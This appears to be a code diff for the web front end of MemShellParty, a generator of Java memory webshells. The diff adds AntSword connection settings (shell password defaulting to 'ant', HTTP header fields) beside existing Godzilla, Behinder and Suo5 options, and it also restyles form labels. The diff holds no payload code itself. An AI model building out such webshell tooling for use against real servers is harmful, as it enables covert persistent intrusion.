<GodzillaTabContent form={form} shellTypes={shellTypes} />
<CommandTabContent form={form} shellTypes={shellTypes} />
<AntSwordTabContent />
<AntSwordTabContent form={form} shellTypes={shellTypes} />
<Suo5TabContent form={form} shellTypes={shellTypes} />
<NeoreGeorgTabContent />
</Tabs>
@@ -272,7 +272,7 @@ function ShellTypeFormField({ form, shellTypes }: { form: UseFormReturn<FormSche
name="shellType"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("mainConfig.shellMountType")}</FormLabel>
<FormLabel className="h-6 flex items-center">{t("mainConfig.shellMountType")}</FormLabel>
<Select onValueChange={field.onChange} value={field.value}>
<FormControl>
<SelectTrigger className="h-8">
@@ -306,10 +306,10 @@ function UrlPatternFormField({ form }: { form: UseFormReturn<FormSchema> }) {
control={form.control}
name="urlPattern"
render={({ field }) => (
<FormItem className="flex flex-col mt-1">
<Label className="flex items-center">
<FormItem className="space-y-1">
<FormLabel className="h-6 flex items-center gap-1">
{t("mainConfig.urlPattern")} <UrlPatternTip />
</Label>
</FormLabel>
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
</FormItem>
)}
@@ -327,7 +327,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn<FormSchema> }) {
name="shellClassName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>
<FormLabel className="h-6 flex items-center gap-1">
{t("mainConfig.shellClassName")} {t("optional")}
</FormLabel>
<Input id="shellClassName" {...field} placeholder={t("placeholders.input")} className="h-8" />
@@ -339,7 +339,7 @@ function OptionalClassFormField({ form }: { form: UseFormReturn<FormSchema> }) {
name="injectorClassName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>
<FormLabel className="h-6 flex items-center gap-1">
{t("mainConfig.injectorClassName")} {t("optional")}
</FormLabel>
<Input id="injectorClassName" {...field} placeholder={t("placeholders.input")} className="h-8" />
@@ -366,8 +366,8 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="behinderPass"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.behinderPass")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.pass")} className="h-8" />
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.behinderPass")}</FormLabel>
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
</FormItem>
)}
/>
@@ -377,7 +377,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="headerName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
</FormItem>
)}
@@ -387,7 +387,7 @@ function BehinderTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="headerValue"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
</FormItem>
)}
@@ -418,7 +418,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="godzillaPass"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.pass")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.pass")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.pass")} className="h-8" />
</FormItem>
)}
@@ -428,7 +428,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="godzillaKey"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.key")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.key")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.key")} className="h-8" />
</FormItem>
)}
@@ -438,7 +438,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="headerName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
</FormItem>
)}
@@ -448,7 +448,7 @@ function GodzillaTabContent({ form, shellTypes }: { form: UseFormReturn<FormSche
name="headerValue"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
</FormItem>
)}
@@ -478,7 +478,7 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchem
name="commandParamName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.paramName")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.paramName")}</FormLabel>
<FormControl>
<Input {...field} placeholder={t("shellToolConfig.paramName")} className="h-8" />
</FormControl>
@@ -493,17 +493,54 @@ function CommandTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchem
);
}
function AntSwordTabContent() {
function AntSwordTabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>; shellTypes: Array<string> }) {
const { t } = useTranslation();
return (
<FormProvider {...form}>
<TabsContent value="AntSword">
<Card>
<CardContent className="space-y-2 mt-4">
<div className="flex items-center justify-center">
<span className="text-gray-500">WIP</span>
<div className="grid grid-cols-2 gap-2">
<ShellTypeFormField form={form} shellTypes={shellTypes} />
<UrlPatternFormField form={form} />
</div>
<FormField
control={form.control}
name="antSwordPass"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.antSwordPass")}</FormLabel>
<Input {...field} placeholder={t("placeholders.input")} className="h-8" />
</FormItem>
)}
/>
<div className="grid grid-cols-2 gap-2">
<FormField
control={form.control}
name="headerName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
</FormItem>
)}
/>
<FormField
control={form.control}
name="headerValue"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
</FormItem>
)}
/>
</div>
<OptionalClassFormField form={form} />
</CardContent>
</Card>
</TabsContent>
</FormProvider>
);
}
@@ -524,7 +561,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>;
name="headerName"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerName")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerName")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerName")} className="h-8" />
</FormItem>
)}
@@ -534,7 +571,7 @@ function Suo5TabContent({ form, shellTypes }: { form: UseFormReturn<FormSchema>;
name="headerValue"
render={({ field }) => (
<FormItem className="space-y-1">
<FormLabel>{t("shellToolConfig.headerValue")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("shellToolConfig.headerValue")}</FormLabel>
<Input {...field} placeholder={t("shellToolConfig.headerValue")} className="h-8" />
</FormItem>
)}
+1 -1
View File
@@ -67,7 +67,7 @@ export function PackageConfigCard({
name="packingMethod"
render={({ field }) => (
<FormItem className="space-y-3">
<FormLabel>{t("packageConfig.title")}</FormLabel>
<FormLabel className="h-6 flex items-center gap-1">{t("packageConfig.title")}</FormLabel>
<FormControl>
<RadioGroup onValueChange={field.onChange} value={field.value} className="grid grid-cols-3">
{options.map(({ name, value }) => (
+5 -1
View File
@@ -1,4 +1,5 @@
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
import { ScrollTextIcon } from "lucide-react";
import { useTranslation } from "react-i18next";
export function QuickUsage() {
@@ -6,7 +7,10 @@ export function QuickUsage() {
return (
<Card>
<CardHeader>
<CardTitle>{t("quickUsage.title")}</CardTitle>
<CardTitle className="text-md flex items-center gap-2">
<ScrollTextIcon className="h-5" />
<span>{t("quickUsage.title")}</span>
</CardTitle>
</CardHeader>
<CardContent>
<ol className="list-decimal list-inside space-y-4 text-sm">
+23 -8
View File
@@ -20,6 +20,7 @@ import { Separator } from "@/components/ui/separator.tsx";
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
import { downloadBytes } from "@/lib/utils.ts";
import {
AntSwordShellToolConfig,
BehinderShellToolConfig,
CommandShellToolConfig,
GenerateResult,
@@ -27,7 +28,7 @@ import {
Suo5ShellToolConfig,
} from "@/types/shell.ts";
import { TFunction } from "i18next";
import { CircleHelpIcon, TriangleAlertIcon } from "lucide-react";
import { CircleHelpIcon, TicketCheckIcon, TriangleAlertIcon } from "lucide-react";
import { Fragment, useState } from "react";
import { useTranslation } from "react-i18next";
import { toast } from "sonner";
@@ -143,7 +144,10 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
<Card>
<CardHeader>
<CardTitle className="flex items-center justify-between">
{t("generateResult.basicInfo")}
<div className="text-md flex items-center gap-2">
<TicketCheckIcon className="h-5" />
<span>{t("generateResult.basicInfo")}</span>
</div>
<FeedbackAlert />
</CardTitle>
</CardHeader>
@@ -216,6 +220,20 @@ function BasicInfo({ generateResult }: { generateResult?: GenerateResult }) {
/>
</Fragment>
)}
{generateResult?.shellConfig.shellTool === "AntSword" && (
<Fragment>
<CopyableField
label={t("shellToolConfig.antSwordPass")}
text={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
value={(generateResult?.shellToolConfig as AntSwordShellToolConfig).pass}
/>
<CopyableField
label={t("shellToolConfig.httpHeader")}
text={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
value={`${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerName}: ${(generateResult?.shellToolConfig as AntSwordShellToolConfig).headerValue}`}
/>
</Fragment>
)}
<CopyableField
label={t("mainConfig.injectorClassName")}
value={generateResult?.injectorClassName}
@@ -337,9 +355,10 @@ export function ShellResult({
generateResult?: GenerateResult;
}) {
const { t } = useTranslation();
if (!generateResult) {
return <QuickUsage />;
}
return (
<Fragment>
{generateResult ? (
<Tabs defaultValue="packResult">
<TabsList className="grid w-full grid-cols-3">
<TabsTrigger value="packResult">{t("generateResult.title1")}</TabsTrigger>
@@ -417,9 +436,5 @@ export function ShellResult({
/>
</TabsContent>
</Tabs>
) : (
<QuickUsage />
)}
</Fragment>
);
}
+4 -2
View File
@@ -39,7 +39,9 @@
"behinderEncryptType": "Encrypt Type",
"behinderDefaultEncryptType": "Default",
"paramName": "Param Name",
"suo5Header": "AdvanceConfiguration -> Request Header"
"suo5Header": "AdvanceConfiguration -> Request Header",
"antSwordPass": "Shell pwd",
"httpHeader": "HTTP -> HTTP HEADERS"
},
"packageConfig": {
"title": "Package Method",
@@ -57,7 +59,7 @@
"Velocity": "Velocity",
"Groovy": "Groovy",
"AgentJar": "AgentJar",
"Deserialize": "Deserialize(Only CB4, 1.9.x)",
"JavaDeserialize": "JavaDeserialize",
"ScriptEngine": "ScriptEngine",
"XxlJob": "XXL-JOB Executor",
"JinJava": "JinJava",
+4 -2
View File
@@ -39,7 +39,9 @@
"behinderEncryptType": "加密类型",
"behinderDefaultEncryptType": "默认",
"paramName": "请求参数",
"suo5Header": "高级配置 -> 请求头"
"suo5Header": "高级配置 -> 请求头",
"antSwordPass": "连接密码",
"httpHeader": "请求信息 -> HTTP HEADERS"
},
"packageConfig": {
"title": "打包方式",
@@ -52,7 +54,7 @@
"BeanShell": "BeanShell 表达式",
"Aviator": "Aviator 表达式",
"JXPath": "JXPath 表达式",
"Deserialize": "反序列化(仅支持 CB4, 1.9.x)",
"JavaDeserialize": "Java反序列化",
"ScriptEngine": "内置脚本引擎",
"Rhino": "Rhino 脚本引擎"
}
+4 -2
View File
@@ -14,8 +14,8 @@ function RootComponent() {
return (
<ThemeProvider defaultTheme="system" storageKey="vite-ui-theme">
<Toaster />
<div className="min-h-screen">
<header className="border-b px-4 py-3">
<div className="flex flex-col h-screen">
<header className="sticky top-0 z-50 border-b bg-background px-4 py-3">
<div className="flex items-center justify-between">
<div className="flex items-center">
<h2 className="text-lg font-semibold">MemShellParty - JavaWeb</h2>
@@ -46,7 +46,9 @@ function RootComponent() {
</div>
</div>
</header>
<main className="flex-1 overflow-auto">
<Outlet />
</main>
</div>
</ThemeProvider>
);
+1
View File
@@ -44,6 +44,7 @@ function IndexComponent() {
godzillaKey: "key",
commandParamName: "cmd",
behinderPass: "pass",
antSwordPass: "ant",
headerName: "User-Agent",
headerValue: "test",
injectorClassName: "",
+1
View File
@@ -12,6 +12,7 @@ export const formSchema = z.object({
godzillaPass: z.optional(z.string()),
godzillaKey: z.optional(z.string()),
behinderPass: z.optional(z.string()),
antSwordPass: z.optional(z.string()),
commandParamName: z.optional(z.string()),
headerName: z.optional(z.string()),
headerValue: z.optional(z.string()),
+9 -1
View File
@@ -14,6 +14,7 @@ export interface ShellToolConfig {
godzillaKey?: string;
commandParamName?: string;
behinderPass?: string;
antSwordPass?: string;
headerName?: string;
headerValue?: string;
}
@@ -44,6 +45,13 @@ export interface Suo5ShellToolConfig {
headerValue?: string;
}
export interface AntSwordShellToolConfig {
shellClassName?: string;
pass?: string;
headerName?: string;
headerValue?: string;
}
export interface InjectorConfig {
className?: string;
classInheritance?: string;
@@ -82,6 +90,6 @@ export interface GenerateResult {
injectorSize: number;
injectorBytesBase64Str: string;
shellConfig: ShellConfig;
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig;
shellToolConfig: CommandShellToolConfig | GodzillaShellToolConfig | BehinderShellToolConfig | AntSwordShellToolConfig;
injectorConfig: InjectorConfig;
}
+1
View File
@@ -16,6 +16,7 @@ export function transformToPostData(formValue: FormSchema) {
godzillaKey: formValue.godzillaKey,
commandParamName: formValue.commandParamName,
behinderPass: formValue.behinderPass,
antSwordPass: formValue.antSwordPass,
headerName: formValue.headerName,
headerValue: formValue.headerValue,
};